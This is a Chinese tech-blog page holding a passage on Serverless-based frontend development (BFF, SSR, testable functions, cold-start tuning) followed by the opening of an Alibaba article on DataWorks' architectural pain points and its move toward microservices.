        在开发工具上面一层,则是 Serverless 的一些垂直应用场景。除了使用传统的服务端开发,目前使用 Serverless 技术的还有小程序开发,未来可能还会设计物联网领域(IoT)。

        不同 Serverless 服务的对比

        Serverless掀起新的前端技术变革

        上图从支持语言、触发器、价格等多个方面对不同 Serverless 服务进行了对比,可以发现有差异,也有共性。

        • 几乎所有 Serverless 服务都支持 Node.js/Python/Java 等语言。
        • 从支持的触发器来看,几乎所有服务也都支持 HTTP、对象存储、定时任务、消息队列等触发器。
        • 这些触发器也与平台自己的后端服务相关,比如阿里云的对象存储触发器,是基于阿里云的 OSS 产品的存取等事件触发的;而 AWS 的对象存储触发器,则是基于 AWS 的 S3 的事件触发的,两个平台并不通用。这也是当前 Serverless 面临的一个问题,就是标准不统一。
        • 从计费的角度来看,各个平台的费用基本一致。在前面也提到,Serverless 的计费是按调用次数计费。对于各个 Serverless,每个月都有 100 万次的免费调用次数,之后差不多 ¥1.3/ 百万次;以及 400,000 GB-s 的免费执行时间,之后 ¥0.0001108/GB-s。所以在应用体量较小的时候,使用 Serverless 是非常划算的。

        基于 Serverless 的前端开发模式

        在本章节,主要以几个案例来说明基于 Serverless 的前端开发模式,以及它和以往的前端开发有什么不一样。

        在开始具体的案例之前,先看一下传统开发流程。

        Serverless掀起新的前端技术变革

        在传统开发流程中,我们需要前端工程师写页面,后端工程师写接口。后端写完接口之后,把接口部署了,再进行前后端联调。联调完毕后再测试、上线。上线之后,还需要运维工程师对系统进行维护。整个过程涉及多个不同角色,链路较长,沟通协调也是一个问题。

        而基于 Serverless,后端变得非常简单了,以往的后端应用被拆分为一个个函数,只需要写完函数并部署到 Serverless 服务即可,后续也不用关心任何服务器的运维操作。后端开发的门槛大幅度降低了。因此,只需要一个前端工程师就可以完成所有的开发工作。

        Serverless掀起新的前端技术变革

        当然,前端工程师基于 Serverless 去写后端,最好也需要具备一定的后端知识。涉及复杂的后端系统或者 Serverless 不适用的场景,还是需要后端开发,后端变得更靠后了。

        基于 Serverless 的 BFF

        一方面,对不同的设备需要使用不同的 API,另一方面,由于微服务导致前端接口调用的复杂,所以前端工程师开始使用 BFF 的方式,对接口进行聚合裁剪,以得到适用于前端的接口。

        下面是一个通用的 BFF 架构。

        Serverless掀起新的前端技术变革

        图片来源: https://www.thoughtworks.com/insights/blog/bff-soundcloud

        最底层的就是各种后端微服务,最上层就是各种前端应用。在微服务和应用之前,就是通常由前端工程师开发的 BFF。这样的架构解决了接口协调的问题,但也带来了一些新的问题。比如针对每个设备开发一个 BFF 应用,也会面临一些重复开发的问题。而且以往前端只需要开发页面,关注于浏览器端的渲染即可,现在却需要维护各种 BFF 应用。以往前端也不需要关心并发,现在并发压力却集中到了 BFF 上。总的来说运维成本非常高,通常前端并不擅长运维。

        Serverless 则可以帮我们很好的解决这些问题。基于 Serverless,我们可以使用一个个函数来实各个接口的聚合裁剪。前端向 BFF 发起的请求,就相当于是 FaaS 的一个 HTTP 触发器,触发一个函数的执行,这个函数中来实现针对该请求的业务逻辑,比如调用多个微服务获取数据,然后再将处理结果返回给前端。这样运维的压力,就由以往的 BFF Server 转向了 FaaS 服务,前端再也不用关心服务器了。

        Serverless掀起新的前端技术变革

        上图则是基于 Serverless 的 BFF 架构。为了更好的管理各种 API,我们还可以添加网关层,通过网关来管理所有 API(比如阿里云的网关),比如对 API 进行分组、分环境。基于 API 网关,前端就不直接通过 HTTP 触发器来执行函数,而是将请求发送至网关,再由网关去触发具体的函数来执行。

        基于 Serverless 的服务端渲染

        基于当下最流行的三大前端框架(React.js/Anguler/Vue.js),现在的渲染方式大部分都是客户端渲染。页面初始化的时候,只加载一个简单 HTML 以及对应的 JS 文件,再由 JS 来渲染出一个个页面。这种方式最主要的问题就是白屏时间和 SEO。

        为了解决这个问题,前端又开始尝试服务端渲染。本质思想其实和最早的模板渲染是一样的。都是前端发起一个请求,后端 Server 解析出一个 HTML 文档,然后再返回给浏览器。只不过以往是 JSP、PHP 等服务端语言的模板,现在是基于 React、Vue 等实现的同构应用,这也是如今的服务端渲染方案的优势。

        但服务端渲染又为前端带来了一些额外的问题:运维成本,前端需要维护用于渲染的服务器。Serverless 最大的优点就是可以帮我们减少运维,那 Serverless 能不能用于服务端渲染呢?当然也是可以的。

        传统的服务端渲染,每个请求的 path 都对应着服务端的每个路由,由该路由实现对应 path 的 HTML 文档渲染。用于渲染的服务端程序,就是这些集成了这些路由的应用。

        使用 Serverless 来做服务端渲染,就是将以往的每个路由,都拆分为一个个函数,再在 FaaS 上部署对应的函数。这样用户请求的 path,对应的就是每个单独的函数。通过这种方式,就将运维操作转移到了 FaaS 平台,前端做服务端渲染,就不用再关心服务端程序的运维部署了。

        Serverless掀起新的前端技术变革

        ZEIT] 的 Next.js 就对基于 Serverless 的服务端渲染做了很好的实现。下面就是一个简单的例子。

        代码结构如下:

        复制代码

        col 1col 2├── next.config.js├── now.json├── package.json└── pages    ├── about.js    └── index.js// next.config.jsmodule.exports = {  target: 'serverless'}

        其中 pages/about.js 和 pages/index.js 就是两个页面,在 next.config.js 配置了使用 Zeit 提供的 Serverless 服务。
        然后使用 now 这个命令,就可以将代码以 Serverless 的方式部署。部署过程中,pages/about.js 和 pages/index.js 就分别转换为两个函数,负责渲染对应的页面。

        基于 Serverless 的小程序开发

        目前国内使用 Serverless 较多的场景可能就是小程开发了。具体的实现就是小程序云开发,支付宝小程序和微信小程序都提供了云开发功能。

        在传统的小程序开发中,我们需要前端工程师进行小程序端的开发;后端工程师进行服务端的开发。小程序的后端开发和其他的后端应用开发,本质是是一样的,需要关心应用的负载均衡、备份冗灾、监控报警等一些列部署运维操作。如果开发团队人很少,可能还需要前端工程师去实现服务端。

        但基于云开发,就只需要让开发者关注于业务的实现,由一个前端工程师就能够完成整个应用的前后端开发。因为云开发将后端封装为了 BaaS 服务,并提供了对应的 SDK 给开发者,开发者可以像调用函数一样使用各种后端服务。应用的运维也转移到了提供云开发的服务商。

        Serverless掀起新的前端技术变革

        下面分别是使用 [支付宝云开发 Basement 的一些例子,函数就是定义在 FaaS 服务中的函数。

        • 操作数据库

        复制代码

        col 1col 2// basement 是一个全局变量// 操作数据库basement.db.collection('users')    .insertOne({        name: 'node',        age: 18,    })    .then(() => {        resolve({ success: true });    })    .catch(err => {        reject({ success: false });    });
        • 上传图片

        复制代码

        col 1col 2// 上传图片basement.file    .uploadFile(options)    .then((image) => {        this.setData({            iconUrl: image.fileUrl,        });    })    .catch(console.error);
        • 调用函数

        复制代码

        col 1col 2// 调用函数basement.function    .invoke('getUserInfo')    .then((res) => {         this.setData({             user: res.result        });    })    .catch(console.error}

        通用 Serverless 架构

        基于上述几个 Serverless 开发的例子,就可以总结出一个通用的 Serverless 架构。

        Serverless掀起新的前端技术变革

        其中最底层就是实现复杂业务的后端微服务(Backend)。然后 FaaS 层通过一系列函数实现业务逻辑,并为前端直接提供服务。对于前端开发者来说,前端可以通过编写函数的方式来实现服务端的逻辑。对于后端开发者来说,后端变得更靠后了。如果业务比较较淡,FaaS 层能够实现,甚至也不需要微服务这一层了。

        同时不管是在后端、FaaS 还是前端,我们都可以去调用云计算平台提供的 BaaS 服务,大大降低开发难度、减少开发成本。小程序云开发,就是直接在前端调用 BaaS 服务的例子。

        Serverless 开发最佳实践

        基于 Serverless 开发模式和传统开发模式最大的不同,就是传统开发中,我们是基于应用的开发。开发完成后,我们需要对应用进行单元测试和集成测试。而基于 Serverless,开发的是一个个函数,那么我们应该如何对 Serverless 函数进行测试?Serverless 函数的测试和普通的单元测试又有什么区别?

        还有一个很重要的点是,基于 Serverless 开发的应用性能如何?应该怎么去提高 Serverless 应用的性能?
        本章主要就介绍一下,基于 Serverless 的函数的测试和函数的性能两个方面的最佳实践。

        函数的测试

        虽然使用 Serverless 我们可以简单地进行业务的开发,但它的特性也给我们的测试带来了一些挑战。主要有以下几个方面。

        • Serverless 函数是分布式的,我们不知道也无需知道函数是部署或运行在哪台机器上,所以我们需要对每个函数进行单元测试。
        • Serverless 应用是由一组函数组成的,函数内部可能依赖了一些别的后端服务(BaaS),所以我们也需要对 Serverless 应用进行集成测试。
        • 运行函数的 FaaS 和 BaaS 在本地也难以模拟。
        • 不同平台提供的 FaaS 环境可能不一致,不同平台提供的 BaaS 服务的 SDK 或接口也可能不一致,这不仅给我们的测试带来了一些问题,也增加了应用迁移成本。
        • 函数的执行是由事件驱动的,驱动函数执行的事件,在本地也难以模拟。

        那么如何解决这些问题呢?

        根据 Mike Cohn 出的测试金字塔,单元测试的成本最低,效率最高;UI 测试(集成)测试的成本最高,效率最低,所以我们要尽可能多的进行单元测试,从而减少集成测试。这对 Serverless 的函数测试同样适用。

        Serverless掀起新的前端技术变革
        图片来源: https://martinfowler.com/bliki/TestPyramid.html

        为了能更简单对函数进行单元测试,我们需要做的就是将业务逻辑和函数依赖的 FaaS(如函数计算) 和 BaaS (如云数据库)分离。当 FaaS 和 BaaS 分离出去之后,我们就可以像编写传统的单元测试一样,对函数的业务逻辑进行测试。然后再编写集成测试,验证函数和其他服务的集成是否正常工作。

        一个糟糕的例子

        下面是一个使用 Node.js 实现的函数的例子。该函数做的事情就是,首先将用户信息存储到数据库中,然后给用户发送邮件。

        复制代码

        col 1col 2const db = require('db').connect();const mailer = require('mailer'); module.exports.saveUser = (event, context, callback) => {  const user = {    email: event.email,    created_at: Date.now()  }   db.saveUser(user, function (err) {    if (err) {      callback(err);    } else {      mailer.sendWelcomeEmail(event.email);      callback();    }  });};

        这个例子主要存在两个问题:
        业务逻辑和 FaaS 耦合在一起。主要就是业务逻辑都在 saveUser 这个函数里,而 saveUser 参数的 event 和 conent 对象,是 FaaS 平台提供的。业务逻辑和 BaaS 耦合在一起。具体来说,就是函数内使用了 db 和 mailer 这两个后端服务,测试函数必须依赖于 db 和 mailer。

        编写可测试的函数

        基于将业务逻辑和函数依赖的 FaaS 和 BaaS 分离的原则,对上面的代码进行重构。

        复制代码

        col 1col 2class Users {  constructor(db, mailer) {    this.db = db;    this.mailer = mailer;  }   save(email, callback) {    const user = {      email: email,      created_at: Date.now()    }     this.db.saveUser(user, function (err) {      if (err) {        callback(err);      } else {        this.mailer.sendWelcomeEmail(email);        callback();      }  });  }} module.exports = Users;const db = require('db').connect();const mailer = require('mailer');const Users = require('users'); let users = new Users(db, mailer); module.exports.saveUser = (event, context, callback) => {  users.save(event.email, callback);};

        在重构后的代码中,我们将业务逻辑全都放在了 Users 这个类里面,Users 不依赖任何外部服务。测试的时候,我们也可以不传入真实的 db 或 mailer,而是传入模拟的服务。
        下面是一个模拟 mailer 的例子。

        复制代码

        col 1col 2// 模拟 mailerconst mailer = {  sendWelcomeEmail: (email) => {    console.log(`Send email to ${email} success!`);  },};

        这样只要对 Users 进行充分的单元测试,就能确保业务代码如期运行。然后再传入真实的 db 和 mailer,进行简单的集成测试,就能知道整个函数是否能够正常工作。

        重构后的代码还有一个好处是方便函数的迁移。当我们想要把函数从一个平台迁移到另一个平台的时候,只需要根据不同平台提供的参数,修改一下 Users 的调用方式就可以了,而不用再去修改业务逻辑。

        小结

        综上所述,对函数进行测试,就需要牢记金字塔原则,并遵循以下原则:

        • 将业务逻辑和函数依赖的 FaaS 和 BaaS 分离
        • 对业务逻辑进行充分的单元测试
        • 将函数进行集成测试验证代码是否正常工作。

        函数的性能

        使用 Serverless 进行开发,还有一个大家都关心的问题就是函数的性能怎么样。

        对于传统的应用,我们的程序启动起来之后,就常驻在内存中;而 Serverless 函数则不是这样。当驱动函数执行的事件到来的时候,首先需要下载代码,然后启动一个容器,在容器里面再启动一个运行环境,最后才是执行代码。前几步统称为冷启动(Cold Start)。传统的应用没有冷启动的过程。

        下面是函数生命周期的示意图:

        Serverless掀起新的前端技术变革
        图片来源: https://www.youtube.com/watch?v=oQFORsso2go&feature=youtu.be&t=8m5s

        冷启动时间的长短,就是函数性能的关键因素。优化函数的性能,也就需要从函数生命周期的各个阶段去优化。

        不同编程语言对冷启动时间的影响

        在此之前,已经有很多人测试过不同编程语言对冷启动时间的影响,比如:

        • Compare coldstart time with different languages, memory and code sizes -by Yan Cui
        • Cold start / Warm start with AWS Lambda - by Erwan Alliaume
        • Serverless: Cold Start War - by Mikhail Shilkov

        Serverless掀起新的前端技术变革

        图片来源: Cold start / Warm start with AWS Lambda

        从这些测试中能够得到一些统一的结论:

        • 增加函数的内存
        • 可以减少冷启动时间
        • C#、Java 等编程语言的能启动时间大约是 Node.js、Python 的 100 倍

        基于上述结论,如果想要 Java 的冷启动时间达到 Node.js 那么小,可以为 Java 分配更大的内存。但更大的内存意味着更多的成本。

        函数冷启动的时机

        刚开始接触 Serverless 的开发者可能有一个误区,就是每次函数执行,都需要冷启动。其实并不是这样。

        当第一次请求(驱动函数执行的事件)来临,成功启动运行环境并执行函数之后,运行环境会保留一段时间,以便用于下一次函数执行。这样就能减少冷启动的次数,从而缩短函数运行时间。当请求达到一个运行环境的限制时,FaaS 平台会自动扩展下一个运行环境。

        Serverless掀起新的前端技术变革

        以 AWS Lambda 为例,在执行函数之后,Lambda 会保持执行上下文一段时间,预期用于另一次 Lambda 函数调用。其效果是,服务在 Lambda 函数完成后冻结执行上下文,如果再次调用 Lambda 函数时 AWS Lambda 选择重用上下文,则解冻上下文供重用。

        下面以两个小测试来说明上述内容。
        我使用阿里云的函数计算实现了一个 Serverless 函数,并通过 HTTP 事件来驱动。然后使用不同并发数向函数发起 100 个请求。
        首先是一个并发的情况:

        Serverless掀起新的前端技术变革

        可以看到第一个请求时间为 302ms,其他请求时间基本都在 50ms 左右。基本就能确定,第一个请求对应的函数是冷启动,剩余 99 个请求,都是热启动,直接重复利用了第一个请求的运行环境。
        接下来是并发数为 10 的情况:

        Serverless掀起新的前端技术变革

        可以发现,前 10 个请求,耗时基本在 200ms-300ms,其余请求耗时在 50ms 左右。于是可以得出结论,前 10 个并发请求都是冷启动,同时启动了 10 个运行环境;后面 90 个请求都是热启动。

        这也就印证了之前的结论,函数不是每次都冷启动,而是会在一定时间内复用之前的运行环境。

        执行上下文重用

        上面的结论对我们提高函数性能有什么帮助呢?当然是有的。既然运行环境能够保留,那就意味着我们能对运行环境中的执行上下文进行重复利用。
        来看一个例子:

        复制代码

        col 1col 2const mysql = require('mysql'); module.exports.saveUser = (event, context, callback) => {     // 初始化数据库连接    const connection = mysql.createConnection({ */* ... */* });    connection.connect();     connection.query('...'); };

        上面例子实现的功能就是在 saveUser 函数中初始化一个数据库连接。这样的问题就是,每次函数执行的时候,都会重新初始化数据库连接,而连接数据库又是一个比较耗时的操作。显然这样对函数的性能是没有好处的。

        既然在短时间内,函数的执行上下文可以重复利用,那么我们就可以将数据库连接放在函数之外:

        复制代码

        col 1col 2const mysql = require('mysql'); // 初始化数据库连接const connection = mysql.createConnection({ */* ... */* });connection.connect();  module.exports.saveUser = (event, context, callback) => {     connection.query('...'); };

        这样就只有第一次运行环境启动的时候,才会初始化数据库连接。后续请求来临、执行函数的时候,就可以直接利用执行上下文中的 connection,从而提后续高函数的性能。
        大部分情况下,通过牺牲一个请求的性能,换取大部分请求的性能,是完全可以够接受的。

        给函数预热

        既然函数的运行环境会保留一段时间,那么我们也可以通过主动调用函数的方式,隔一段时间就冷启动一个运行环境,这样就能使得其他正常的请求都是热启动,从而避免冷启动时间对函数性能的影响。

        这是目前比较有效的方式,但也需要有一些注意的地方:

        • 不要过于频繁调用函数,至少频率要大于 5 分钟
        • 直接调用函数,而不是通过网关等间接调用
        • 创建专门处理这种预热调用的函数,而不是正常业务函数。

        这种方案只是目前行之有效且比较黑科技的方案,可以使用,但如果你的业务允许“牺牲第一个请求的性能换取大部分性能”,那也完全不必使用该方案,

        小结

        总体而言,优化函数的性能就是优化冷启动时间。上述方案都是开发者方面的优化,当然还一方面主要是 FaaS 平台的性能优化。

        总结一下上述方案,主要是以下几点:

        • 选用 Node.js / Python 等冷启动时间短的编程语言
        • 为函数分配合适的运行内存
        • 执行上下文重用为
        • 函数预热

        总结

        作为前端工程师,我们一直在探讨前端的边界是什么。现在的前端开发早已不是以往的前端开发,前端不仅可以做网页,还可以做小程序,做 APP,做桌面程序,甚至做服务端。而前端之所以在不断拓展自己的边界、不断探索更多的领域,则是希望自己能够产生更大的价值。最好是用我们熟悉的工具、熟悉的方式来创造价值。

        而 Serverless 架构的诞生,则可以最大程度帮助前端工程师实现自己的理想。使用 Serverless,我们不需要再过多关注服务端的运维,不需要关心我们不熟悉的领域,我们只需要专注于业务的开发、专注于产品的实现。我们需要关心的事情变少了,但我们能做的事情更多了。

        Serverless 也必将对前端的开发模式产生巨大的变革,前端工程师的职能也将再度回归到应用工程师的职能。

        **
        如果要用一句话来总结 Serverless,那就是 Less is More。
        **
        作者首发于个人知乎专栏: https://zhuanlan.zhihu.com/p/65914436

        ]]>
        万字深度解析,飞天大数据平台DataWorks 如何撑起阿里99%的数据开发? Fri, 02 May 2025 09:39:04 +0800

        image.png


        作者:刘星 阿里巴巴高级技术专家

        文章导读

        DataWorks是阿里巴巴自主研发,支撑阿里巴巴经济体99%数据业务建设和治理,每天数万名数据开发和算法开发工程师在使用。
        从2010年起步到目前的版本,经历了多次技术变革和架构升级,也遗留了大量的历史包袱。技术的创新和业务的发展,相辅相成但也互为掣肘。存在需求接入慢,代码牵一发而动全身,环境复杂等问题,沉疴已久。历次迭代均未从根基上升级DataWorks,仅仅是一些性能提升、工程结构的优化,减少了重复代码等,并未促成根本性的技术革命。

        本文将探讨如何通过当前大热的微服务架构,来改变DataWorks平台的现实问题,从繁杂的工程中探索出一条切实可行的技术架构变革之路。

        一、痛点

        让我们先来谈谈DataWorks当前遇到了哪些痛点,这些痛点是倒逼着我们进行技术变革的源动力。

        1.1 沉重的历史包袱

        首先要提的就是历史原因遗留的各种问题,DataWorks历史上多个版本同步开发,前后端技术栈多次变革,应用一旦上线就很难废弃,一个对外暴露的api,很可能是5年前开发的,但依然有业务在依赖,通常情况下连这些古老业务的负责人都找不到了。当我们的服务正常运行的时候,无人搭理,一旦下线,则可能不知道从哪儿跳出几个用户前来投诉。页面上的功能同样如此,有时候只是过去不知道哪位同学开发中引入的一个bug,但也因为我们的用户基数庞大,而变成了真理。历史上曾经出现过的隐藏的很深且用户寥寥的功能点都有自己的忠实拥趸,一旦被我们的开发不小心忽视而做丢了,就会迎来投诉和工单,所以DataWorks平台不愧是千锤百炼磨练出来的大数据开发平台的标杆,朴素的界面之下隐藏了无数细致入微的功能点。如果想重造这么一个被阿里巴巴经济体无数数据开发工程师验证(折磨)过的数据开发平台,都要好好考虑一下这十年来我们的平台到底经历过了什么。

        1.2 复杂的软硬件环境

        DataWorks面临的运行环境放眼整个阿里巴巴经济体都是及其罕见的复杂,为了混合云(即专有云)这种私有独立且封闭的环境,三合一版本之后我们必须放弃依赖弹内成熟的中间件体系,只能寻找那些同样在三个环境下都存在的技术来支撑。也因此,很多在某个环境下缺失的依赖,如果我们无法用开关的方式搞定,或者我们判断其复杂度不高,就会通过自研或者去依赖一些开源的体系来解决问题。而公有云上各种网络环境的问题几乎都要靠人肉去排查,从每天居高不下的答疑量上就能看到我们受环境问题的影响是多么耗费人力。除此以外,前不久中美贸易战带来的影响也传递给了DataWorks平台,运行环境需要匹配国产芯片,我们的进程不但要运行在X86指令集上,同样也要能运行在基于ARM指令集的国产芯片上。同时为了满足部分中小企业用户的购买欲求,敏捷化也是我们需要去裁剪设计的。

        image.png


        DataWorks平台虽然庞大且复杂,但在种种更加复杂的软硬件环境下,也同样需要能够做到灵活轻便,便于随时随地的拆散组合轻装上阵,以满足不同业务场景下用户的期望。因为挑剔的用户一贯希望用最少的钱购买到最合适的解决方案,DataWorks的竞争力显然也要从灵活且具备演变能力上寻找未来。

        1.3 牵一发而动全身

        工程之间的复杂关联一直是传统SOA(Service Oriented Architecture:面向服务架构)发展到一定规模后的噩梦,无论最初的设计是多么合理,多么领域清晰,一旦经历需求的积累,规模的扩张,人员的交替,都将逐步或多或少的面临着边界模糊的问题。最典型的例子就是单体服务之间的RESTful类型的API,往往这些API的Schema只能增加元素而不能减少,因为被依赖者并不知道有多少其他服务正在依赖这个接口,也许某一天某个服务从沉睡已久的服务器中被唤醒,结果发现你的API的Schema变了,那么一定会把你喊回来修回原来的样子。前后端分离架构下,这类问题更加突出,所以有的前端同学为了减少schema变动带来的影响,干脆让后端透传一个大字符串,即使里面夹带了私货,也不会使得页面莫名崩溃。DataWorks平台也正在经历着这一过程,发展到一定规模后,每个功能的改动都要小心翼翼,生怕对其他模块造成未知的影响,或者有时候我们需要把大量时间投入在调研清楚改动带来的影响上,就算这样严防死守,也依然可能有漏网之鱼,最后功亏一篑,一个故障单就可能把为之付出的努力付之一炬。

        image.png

        1.4 需求变更和频繁发布

        除了工程架构上的问题,同样存在问题的还有众多开发者在合作方面产生的问题,gitlab帮我们解决了版本之间的代码冲突问题,但并不能解决产品发布周期上的冲突。当多个需求都要对外发布上线,尤其在混合云,需要按月为周期产出大版本,我们一边要快速上线新feature,一边还要按照类似瀑布模型的方式将这些功能打包进专有云版本。弹内、公有云、混合云的发布节奏截然不同,众多feature按照不同的节奏要出现在不同的版本迭代中,过去的熔断机制,更加剧了大家在窗口期集中发布而产生的风险。在SOA中的一个单体服务上,N个开发者开发的M个feature,按照什么样的间隔组合发布上线,使得发布的节奏既不过于频繁,也不会因为发布频次太少而使得版本跨度太大。如果这M个feature之间又存在依赖关系,则进一步放大了发布频次增减之间的矛盾。

        1.5 国际化带来的问题

        国际化的问题向来不简单,时区、夏令时、语言、习惯、本地化图标等等,对于DataWorks这样一个遍布全球20个region的平台来说,这里面的水深的很。我们团队在国际化方面沉淀很多积累,并且将这些优秀的经验对外开源:https://github.com/alibaba/react-intl-universal

        1.6 依赖耦合

        基于SpringBoot的Starter,我们提升了代码的复用率,且对于Starter的精心设计,确保同学们自研踩过的坑不需要反复由不同的同学来踩。但是这毕竟是不同工程中的共同依赖,当这些Starter暗藏bug的时候,凡是使用到这些依赖的工程都将受其影响,甚至某位同学不小心在修改某个依赖甚广的Starter的时候写进了bug,就有可能触发系统雪崩。

        1.7 笨拙的灰度机制

        我们知道搜索引擎在不同的算法中寻找最优解的方法,是将这些算法灌装到不同的桶里,然后引流通过这些算法桶,通过各种指标的对比,将其中最优的算法挑选出来。这是一种基于架构设计的灰度机制,并不需要人为干预流量的导向,从入口处进来的不同搜索自然而然的就流过了不同的算法桶,随着海量的访问,最优解必然得以显现。但是目前的SOA架构下灰度往往依赖于提前设计好的开关,DataWorks便是如此,当我们需要验证某个功能是否存在问题,传统的办法是找到前端同学,让前端设计一下开关机制,筛选一部分用户进入到新设计的功能里面,经过一段时间的试跑和调整,逐步把问题解决掉,同时对用户的影响也可以控制在比较小的范围。但这显然不是一个可以反复的,随意的,自然而然的灰度机制。人为的干预,为灰度而耗费的设计开发,使得一次灰度的成本居高不下,有些时候我们的同学甚至因为想避免麻烦,而忽视做灰度验证。当我们想通过灰度来验证的功能非常的局部,或者用户无关,工作空间无关的时候,或者我们压根不知道哪些用户会使用到某些功能的时候,灰度机制也会在传统架构下失效,即使我们想去设计,也无从下手。

        对于SOA下单体服务来说,灰度无法借助于架构的设计,但是DataWorks平台下底层调度服务Alisa的Gateway集群由于机器数量庞大,也可以实现基于架构设计的灰度机制,几百台Gateway中,我们可以取出一小部分,部署待验证的新版本,任务下发后通过不同版本的比对,寻找潜在问题。但这并非DataWorks平台后端的常态,几乎所有单体服务并没有部署到这么多机器中,因此这也几乎是大多数SOA的状态,都面临着不能基于架构设计,而要基于人为干预的灰度机制。

        1.8 外部关联服务的不确定性

        外部关联服务复杂多变,且不可靠不稳定,随时会宕机或者网络中断,甚至是外部服务升级忘了通知我们,从而导致故障频繁。这一点对于数据集成这样一个在几十种引擎,数千个数据库实例中搬运数据的应用来说尤其深有体会。为了应对外界服务的不确定性,我们将有众多依赖的自身应用设计的鲁棒性特别优异,然而这会增加我们自身代码的逻辑复杂度,偶然出现的问题也会被代码的鲁棒性掩盖,问题如果不及时处理,就会逐步积累,当所有出现故障的条件凑齐之后,一次性爆发一个P1级别的大故障。

        1.9 紧缺的前端

        DataWorks研发平台还面临着前端人手不足的问题,这是富交互产品的研发团队都面临的共通问题。前端受制于交互的不同,样式的迥异,业务的区别,以及研发同学各自对业务理解上的差异,以至于能够复用的前端组件极其有限。在浩如烟海的前端类库、组件、样式中,能够实现成本转移的寥寥可数。在前后端分离,基于主流前端框架的设计模式下,相较于历史上的前后端一体设计体系下的用户体验是有提升的,然而这都是基于前端开发同学辛勤的劳作,一点点的调整样式和交互换来的成果,这里从来没有捷径可走,而我们只能寄期望于能够复用前端开发同学的研发成果,让每一次设计都不要成为只使用一次的劳动。

        image.png

        1.10 其他

        上面列举的几点当然不是DataWorks研发平台面临的所有问题,还有一些不算那么紧急的痛点经常时不时的会出来提醒我们。比如在实际日常工作中,我们常常希望能够上一些实验性质的功能,让一部分用户尝鲜,通过埋点取得用户的使用情况,给PD做参考,但这类工作量往往不小,是需要额外花费精力的。再比如,数据开发工程师提出的需求,经过PD的翻译再经过研发同学的理解,往往就变了味,这时候某些有余力的数据开发团队就干脆自己来实现,他们希望能直接在我们的平台上开发他们需要的功能,如果我们短期无法提供,他们就干脆自己来做个门户,集中自研工具集来满足自己的需求。这些问题不一而足,都需要我们改变自己的架构设计,来迎合弹内外用户的个性化需求。

        二、合作与竞争

        DataWorks研发平台众多功能涵盖了数据开发工程师的日常工作,用户在我们的平台上长年累月的伏案工作,对一些功能点的设计有自己的切身体感,而这些体感是我们平台的研发感受不到的。PD和我们的UED去收集需求去使用去亲自感受,然而毕竟不是专职于数据开发本身,因此很难体会到数据开发工程师长期使用后的那种细微的挫败感。再到细分的垂直业务市场,不同行业下如何使用我们平台,差异更是有天渊之别。面向金融,银行,政府,大型国企,互联网公司,传统企业,民营,教育,等等,他们的用法都是完全不同的,有的行业甚至就不知道拿到DataWorks平台后该做什么。用户的需求千差万别,用户的心智也处于不同阶段。

        因此,在我们无暇一一顾及的领域,前方的交付团队或者公司,使用DataWorks平台应用到具体的行业中,然后再将行业的专属需求带回给我们的PD进行分析。我们平台本身也会开放一些Api给予前方团队包装成产品提供给特定领域的客户,帮助客户解决实际问题。

        新的产品规划还在不断制订之中,引擎团队设计好自己的产品也需要在DataWorks平台上降低用户的上手难度,如果永远只是DataWorks平台的开发同学按照排期逐步完成这些接入和订制需求,平台注定难以持续发展壮大。因此,从前后端架构层面,从无数的合作和竞争场景出发,都迫切需要我们进行一次针对自身的技术革命,彻底从SOA中解放生产劳动力,引入更多的用户侧的研发力量,帮助平台向更健全的方向发展。

        image.png

        三、架构的变革

        任何一种技术的变革都是循序渐进的,这和Spring之父Rod Johnson秉持的理念是一致的。他提出了“轮子理论”,也即“不要重复发明轮子”,这是西方国家的一句谚语,原话是:Don't Reinvent the Wheel。除此之外,通过长期的实践后他在著作中总结阐明了循证架构的思想,即“没有最好的架构,只有最合适的架构”。这是架构界进化理论的雏形,意味着我们的架构要不断的演进去配合多变的业务需求。

        传统的SOA下,服务趋向于稳定和集中,单体服务之间是平等的,或者至少在共通的结构上是类似的,服务与服务之间通过网络通信进行依赖。SOA下每个单体服务可能是多个开发者围绕着进行合作开发,因此替换任何一个单体服务都是一件伤筋动骨的事情,当有大的技术栈的变革,例如从WebX 3.0升级到SpringMVC,从SpringMVC升级到SpringBoot,人力成本消耗都是巨大的,升级周期动辄以年为单位,更不用说假设我们想用Go语言或者Python的Django框架来替换J2EE体系下已经设计好的web服务,这几乎是不可能完成的任务。也意味着当我们进入了这个技术体系,就很难再从这套体系中脱身,更无从谈起架构的演变和进化。

        在传统SOA下,提升工程效率的手段是极致的代码复用,凡是可复用的代码,都抽取到二方包中设计成类库让不同的单体服务依赖调用。虽然配置越来越复杂了,但的确减少了“重复发明轮子”的事情。

        还有一个办法,是如我在2015年时候尝试新的架构设计时候采取的方法,即:能抽象成二方包的抽象,不能抽象的通过自动化代码生成工具自动生成。一套演练成熟的SOA架构工程,从目录结构到配置组装都几乎是稳定不变的,即使有变化,也都是按照MVC三层架构进行微调,因此我们可以把一些无法抽象的,或者包含了复杂逻辑,需要灵活调整的代码通过自动化代码生成工具来生成,并且尽可能冗余代码的功能,让开发者从生成的工程代码中尽量做减法或者根据业务逻辑只修改最少量的代码,从而提升了工程的整洁度和开发效率。

        除了代码的复用,还有服务的复用,我们设计了一些中心化的单体服务,用于将复杂逻辑或启动较慢或需要缓存,等等这样一些功能封装在这些核心服务中,进一步减少围绕中心服务的其他应用的体量和复杂度,当然这也可能会引入单点可靠性的问题,但要确保核心服务的稳定可靠,在一定规模的服务体量下并非难事。

        即便如此,SOA在效率上的提升依然是有限的,初期工程建立的快速高效并不代表长期业务开发后还能维持这样的效率持续发展。前文描述的痛点逐步展现且缺乏行之有效的解决办法,开发者由于整齐划一的使用同一套技术栈甚至同一套工程目录树结构,虽然在协同的时候更加默契,但也消灭了前沿技术在团队内的赛马机制。研发同学在一套逐渐古老落后的框架下研究怎么压榨出最后的效率和性能,但往往忽视了也许换个框架换个技术栈甚至换个语言,就会带来质变。因此,当基于谷歌的K8S体系成长的生态圈逐步成熟之后,遵循“没有最好的架构,只有最合适的架构”的思想,我们开始思考如何将DataWorks的技术方向转向灵活多变的微服务架构。

        image.png

        3.1 微服务架构

        提到微服务,理所当然要和云原生关联,所谓云原生(Cloud Native),包含了如下三点:

        1)DevOps

        开发和运维不再是分开的两个团队,而是你中有我,我中有你的一个团队。

        2)持续交付

        持续交付的意思就是在不影响用户使用服务的前提下频繁把新功能发布给用户使用。

        3)容器化

        容器化的好处在于运维的时候不需要再关心每个服务所使用的技术栈,每个服务都被无差别地封装在容器里,可以被无差别地管理和维护。

